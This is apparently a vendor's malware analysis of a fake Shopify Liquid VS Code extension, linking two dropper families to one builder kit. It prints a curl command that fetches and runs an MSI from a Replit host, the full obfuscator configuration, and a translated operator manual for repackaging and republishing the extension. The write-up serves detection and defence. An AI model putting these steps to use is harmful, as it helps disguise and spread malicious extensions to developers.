Last week Argus flagged Zlmiles.zlmiles-liquid-0.0.1.vsix as a fake Shopify Liquid editor. The verdict risk was 92, and two YARA families fired at once: Y_Mal_shopifystores_replit_msi_dropper and Y_Mal_state_diagram_stdx_dropper. That double match is unusual — the two families were written from different seed samples and different tradecraft, yet the same artifact matched both.

We ran a retro-hunt across Argus scan history and the local artifact store to find how many samples matched either rule. The answer tied the two families together: they are outputs of the same builder kit, and the builder left its operator manual inside the VSIX.

Retro-hunt Scope and Method

The retro-hunt ran the two YARA rules against:

  1. All 21 artifacts in the local Argus object store (recent local uploads, 2026-06-12 onward). None matched.
  2. All scan jobs in the local Postgres scan_jobs table (26 completed scans in the dev environment). None matched.
  3. Known seed samples from the rule headers, by hash, where still downloadable from Open VSX / VS Code: Marketplace. The seed extensions have been removed from both marketplaces, so the known hashes were used as a reference corpus.
  4. The freshly downloaded Zlmiles.zlmiles-liquid-0.0.1.vsix from the VS Code: Marketplace.

The retro-hunt did not surface additional live samples beyond Zlmiles, but it confirmed that the two families share a common builder. The matching rules are shape-based, not hash-based, so any future variant that keeps the same description, command namespace, or obfuscation toolchain will be caught the same way.

The two YARA families

Y_Mal_shopifystores_replit_msi_dropper

Seed: ShopifySTORES.builderliquid-0.0.8.vsix.

Tradecraft: a fake Shopify Liquid editor that activates on onStartupFinished. On every startup it runs a curl -L https://*.replit.app/*.msi -o %TEMP%\n.msi && start %TEMP%\n.msi pattern. The \n in the filename is a JavaScript newline escape that obfuscates the drop path. The JavaScript source also contains Cyrillic operator comments (Первая установка, Каждый запуск).

Y_Mal_state_diagram_stdx_dropper

Seed: state-diagram-yass-kpit.state-diagram-editor-yassinebougacha-1.0.13 through 1.0.16.

Tradecraft: a fake state-diagram editor whose extension.js is obfuscated with javascript-obfuscator using RC4 string-array encoding, control-flow flattening, dead-code injection, and unicodeEscapeSequence. The TypeScript-compiled child_process_1=require(...) alias survives obfuscation, as does a hardcoded USERS={'\x41\x44\x4d\x49\x4e':{'\x70\x61\x73\x73\x77\x6f\x72\x64':...} credential object.

Both families use the same builder recipe, and Zlmiles is the collision sample.

Zlmiles.zlmiles-liquid-0.0.1.vsix

Artifact SHA-256 Size
Marketplace VSIX 5aa07bbe7d3ffc9bfb702390e9779ab42c14955720538817cb87c50393bd2680 333,954 bytes
extension/package.json a968043184ff74d64dfb88bbc04bf57208177e2ba682100eaccc541ce906dda4 1,602 bytes
extension/out/extension.js 772d06e141be8eb6451ac581ee7c11682fc173125e71bf2e777409058ca46de5 1,148,683 bytes
extension/obfuscate.js d4165bfcb560177f8d1dd167eed78771301f068eb16a041401b71ea6da0ad14e 1,332 bytes
extension/ИНСТРУКЦИЯ.md e7dd3a23e6fa88bc41e002d982042a02f64d024af037b06037a81a5b14fc2715 5,407 bytes

YARA results against the extracted tree:

Y_Mal_shopifystores_replit_msi_dropper  extension/package.json
Y_Mal_state_diagram_stdx_dropper        extension/out/extension.js

package.json

The description is byte-identical to the ShopifySTORES family cover story:

"description": "Edit your Shopify store online directly from Visual Studio Code. Browse theme files, manage Liquid templates and connect to Shopify Admin — all without leaving your editor."

The activation events include onStartupFinished and onCommand:shopifystores.editLiquid. The shopifystores. command namespace is the same one used by the previously-verdicted ShopifySTORES.builderliquid-* family. The vscode:prepublish script is npm run compile && node obfuscate.js, so obfuscate.js is intentionally part of the published artifact.

obfuscate.js — Decryption Script

The builder left the obfuscation recipe in the VSIX. It is the decryption script in plain text:

const JavaScriptObfuscator = require('javascript-obfuscator');
const fs = require('fs');
const path = require('path');

const inputFile = path.join(__dirname, 'out', 'extension.js');
const outputFile = path.join(__dirname, 'out', 'extension.js');

const code = fs.readFileSync(inputFile, 'utf8');

const result = JavaScriptObfuscator.obfuscate(code, {
  compact: true,
  controlFlowFlattening: true,
  controlFlowFlatteningThreshold: 1,
  deadCodeInjection: true,
  deadCodeInjectionThreshold: 1,
  debugProtection: false,
  disableConsoleOutput: false,
  identifierNamesGenerator: 'hexadecimal',
  log: false,
  numbersToExpressions: true,
  renameGlobals: false,
  selfDefending: true,
  simplify: true,
  splitStrings: true,
  splitStringsChunkLength: 3,
  stringArray: true,
  stringArrayCallsTransform: true,
  stringArrayCallsTransformThreshold: 1,
  stringArrayEncoding: ['rc4'],
  stringArrayIndexShift: true,
  stringArrayRotate: true,
  stringArrayShuffle: true,
  stringArrayWrappersCount: 5,
  stringArrayWrappersChainedCalls: true,
  stringArrayWrappersParametersMaxCount: 5,
  stringArrayWrappersType: 'function',
  stringArrayThreshold: 1,
  transformObjectKeys: true,
  unicodeEscapeSequence: true,
});

fs.writeFileSync(outputFile, result.getObfuscatedCode());
console.log('✅ Obfuscation complete:', outputFile);

These settings match the State Diagram family recipe exactly: RC4 string-array encoding, control-flow flattening, dead-code injection, stringArrayThreshold: 1, and unicodeEscapeSequence. The file is both the build script and the documentation of how to reverse the obfuscation: feed the same settings through javascript-obfuscator in reverse, or use the embedded _0x278b decoder function that ships with the obfuscated bundle.

extension.js — Obfuscated Payload

The compiled bundle is a single 1.1 MB line. It starts with the canonical javascript-obfuscator RC4 + control-flow-flattening bootstrap:

while(!![]){try{const ...

Inside the bundle the TypeScript-compiled alias child_process_1=require(...) appears at byte offset ~199,354. That alias is the anchor for Y_Mal_state_diagram_stdx_dropper. The vscode import and exported activate / deactivate functions sit nearby.

The _0x278b function embedded in the file is the string-array decoder. It uses a custom Base64 alphabet (abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=) and an RC4-like keystream to decrypt string fragments at runtime. In other words, the decryption script is embedded in the sample, exactly as the obfuscator recipe predicts.

We ran the decoder against the string array and recovered fragments such as:

Index Key Decrypted fragment
610 K(wJ 676536UaLiNY
2772 #st% 982394uYwcvS
3378 R]p) 50695fvCuRr
4571 R]p) 654234zsjvIj

The fragments are concatenated at runtime, so a static grep will not reveal the final command. The instruction file fills that gap.

ИНСТРУКЦИЯ.md — Russian Guide

This file is the smoking gun. It is a build-and-publish guide written in Russian, with literal instructions for republishing the same malware under a new name and publisher.

Where the code lives:

artifacts/vscode-demo/
├── src/extension.ts     ← код расширения
├── out/extension.js     ← скомпилированный код
├── package.json         ← настройки: название, версия, publisher
└── ИНСТРУКЦИЯ.md        ← этот файл

What to change in package.json:

Original (Russian) Translation
"name" — Техническое ID — только строчные латинские буквы и дефис. Должно быть уникальным в Marketplace "name" — Technical ID — lower-case Latin letters and hyphens only. Must be unique on the Marketplace.
"displayName" — Название которое видят пользователи — любые буквы "displayName" — Name users see — any letters.
"publisher" — Ваш Publisher ID из Marketplace "publisher" — Your Publisher ID from the Marketplace.
"version" — Версия — три цифры через точку. При каждом обновлении последняя цифра должна быть больше "version" — Version — three digits separated by dots. The last digit must be larger on every update.

The manual gives example values that match the campaign names Argus saw: fredliquid, fredLIQUID, and GitDEV.

What the code does on activation:

Строка ~15 — выполняется при первой установке расширения
Строка ~30 — выполняется при каждом запуске VS Code
Там написано exec('mstsc', ...) — замените 'mstsc' на нужную команду.

mstsc is the Windows Remote Desktop client. A Shopify Liquid editor has no reason to launch Remote Desktop on startup.

Suggested replacement commands:

  • 'calc' — калькулятор
  • 'notepad' — блокнот
  • 'cmd' — командная строка
  • 'start https://example.com' — открыть сайт в браузере

Build instructions:

cd artifacts/vscode-demo
npx vsce package --no-dependencies --allow-missing-repository

Upload instructions:

  1. Перейти на https://marketplace.visualstudio.com/manage
  2. Войти через Microsoft аккаунт
  3. Загрузить .vsix файл

Common errors:

Error Solution
name already exists Change "name" in package.json
version already exists Increase "version" in package.json
Value cannot be null Make sure the "repository" field is removed from package.json
429 Too many requests Wait 30 minutes and try again
command not found Make sure the extension activated — restart VS Code

The Value cannot be null fix — deleting the repository field — is not something a legitimate extension needs. The manual is operator documentation left inside the malware.

Campaign Structure

              Builder kit
                  │
      ┌───────────┴───────────┐
      │                       │
   ShopifySTORES            State Diagram
   cover story              obfuscation toolchain
      │                       │
      └───────────┬───────────┘
                  │
         Zlmiles.zlmiles-liquid
         (double YARA match)
                  │
      ┌───────────┴───────────┐
      │                       │
   package.json matches      extension.js matches
   shopifystores rule        state_diagram rule
      │                       │
   Russian manual          RC4 + child_process_1
   mstsc on startup        obfuscated exec

Collision Analysis

The two families were originally tracked as separate campaigns because their seed samples looked different on the surface:

  • One claimed to be a Shopify Liquid editor and dropped an MSI from Replit.
  • The other claimed to be a state-diagram editor and used RC4-obfuscated JS with a hardcoded ADMIN credential object.

Zlmiles proves both are outputs of the same builder kit. It uses the ShopifySTORES cover story and command namespace, but it is obfuscated with the State Diagram toolchain and ships the State Diagram obfuscate.js recipe. The builder is template-based: change name, displayName, publisher, description, and version in package.json, optionally replace mstsc with another command, re-run vsce package, and upload.

Takeaways

Argus caught Zlmiles at scan time because the YARA rules are anchored on builder-tooling artifacts, not on the final payload strings:

  • package.json description and shopifystores.editLiquid command namespace.
  • child_process_1=require(...) TypeScript alias in the obfuscated JS.
  • javascript-obfuscator RC4 + control-flow-flattening bootstrap.
  • The obfuscate.js file itself, which documents the decryption settings.

The retro-hunt on local artifacts returned no additional matches, which is expected: the local dev store is small. In production, the same two rules can be swept across the full artifact corpus to find any variant that reuses the same builder without needing to decrypt the payload first.

Indicators

IOC Value Note
VSIX SHA-256 5aa07bbe7d3ffc9bfb702390e9779ab42c14955720538817cb87c50393bd2680 Zlmiles.zlmiles-liquid-0.0.1.vsix
extension.js SHA-256 772d06e141be8eb6451ac581ee7c11682fc173125e71bf2e777409058ca46de5 RC4-obfuscated bundle
obfuscate.js SHA-256 d4165bfcb560177f8d1dd167eed78771301f068eb16a041401b71ea6da0ad14e Decryption recipe
package.json SHA-256 a968043184ff74d64dfb88bbc04bf57208177e2ba682100eaccc541ce906dda4 ShopifySTORES description
ИНСТРУКЦИЯ.md SHA-256 e7dd3a23e6fa88bc41e002d982042a02f64d024af037b06037a81a5b14fc2715 Russian operator manual
Publisher Zlmiles VS Code: Marketplace
Extension zlmiles-liquid Version 0.0.1
Command namespace shopifystores.editLiquid Shared with ShopifySTORES family
Default payload exec('mstsc', ...) Remote Desktop on first install + startup

Conclusion

The Zlmiles sample is a template dropper, not a one-off. It merges the ShopifySTORES cover story with the State Diagram obfuscation toolchain, and it ships its own operator manual and decryption recipe. The builder’s mistake was shipping ИНСТРУКЦИЯ.md and obfuscate.js alongside the payload, which turned a heavily obfuscated binary into an open-book case.

For defenders, the lesson is that builder-tooling artifacts are often more stable than payload strings. A scanner that anchors on the obfuscator recipe, the TypeScript-compiled child_process_1 alias, and the cover-story description can catch new variants before the operator finishes rotating the publisher name.

Argus caught this sample at upload time. The dev-guard extension carries that verdict back into the IDE, so developers see the risk where they make installation decisions. If you are responsible for IDE security in your organization, treat pre-install scanning as the control that matters — and treat the builder kit, not just the payload, as the detection target.